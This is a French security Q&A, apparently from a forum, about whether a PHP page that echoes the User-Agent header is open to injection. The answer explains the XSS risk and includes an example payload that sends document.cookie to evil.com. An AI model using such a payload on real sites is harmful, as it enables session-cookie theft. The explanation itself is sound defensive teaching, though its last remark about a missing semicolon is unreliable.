Ce script est-il vulnérable à PHP ou injection de code JS? Dans mon test rapide, j'ai changé le useragent en un script PHP mais il ne sera pas exécuté juste imprimé). Si je change l'agent utilisateur en un code javascript, je reçois une connexion refusée par le serveur web.
Suis-je donc en sécurité avec ce type de script?
<?php
$u=$_SERVER['HTTP_USER_AGENT']
?>
<html>
<pre>string</pre>
<?php echo $u; ?>
</html>
Vous avez raison, vous n'avez pas à vous soucier de l'injection de code PHP. La commande echo
fait simplement écho aux éléments - elle ne l'exécute pas.
Le JS est cependant plus problématique. Votre code peut être vulnérable à XSS. Le client contrôle l'agent utilisateur et l'attaquant contrôle le client. Vous donnez à un attaquant la possibilité d'injecter du code HTML et JS arbitraire dans votre page Web. Utilisez simplement un agent utilisateur comme celui-ci:
<img src="" onError="window.location='https://evil.com?'+document.cookie">
Il y a un gros problème pour l'attaquant: bien qu'il soit facile de changer votre propre agent utilisateur, vous ne pouvez pas vraiment changer quelqu'un d'autre. Il n'est donc pas évident de savoir comment pirater quelqu'un d'autre que vous-même avec cela - c'est une forme assez avancée d'auto-XSS. Si vous stockez puis affichez d'autres utilisateurs utilisateurs-agents (par exemple à partir de journaux), vous avez un danger beaucoup plus grand. Mais ce n'est pas le cas avec votre simple script.
Alors pourquoi ça ne marche pas pour toi? Il semble que votre attaque soit bloquée par une sorte de WAF ou similaire. C'est génial, mais n'écrivez pas de mauvais code dans l'espoir que votre WAF vous protégera! Un WAF ne vous protégera pas contre tout. Et qui sait où votre code s'exécutera à l'avenir et s'il y aura même un WAF là-bas ...
Toute entrée doit être analysée pour s'assurer qu'elle ne fait rien d'inattendu - cependant, dans ce code, une attaque avec des dommages serait très difficile à réaliser. PHP ne serait pas exécuté mais pourrait être utilisé dans une attaque XSS.
La raison pour laquelle le code ne fonctionne pas ci-dessus est que la ligne 2 manque un point-virgule.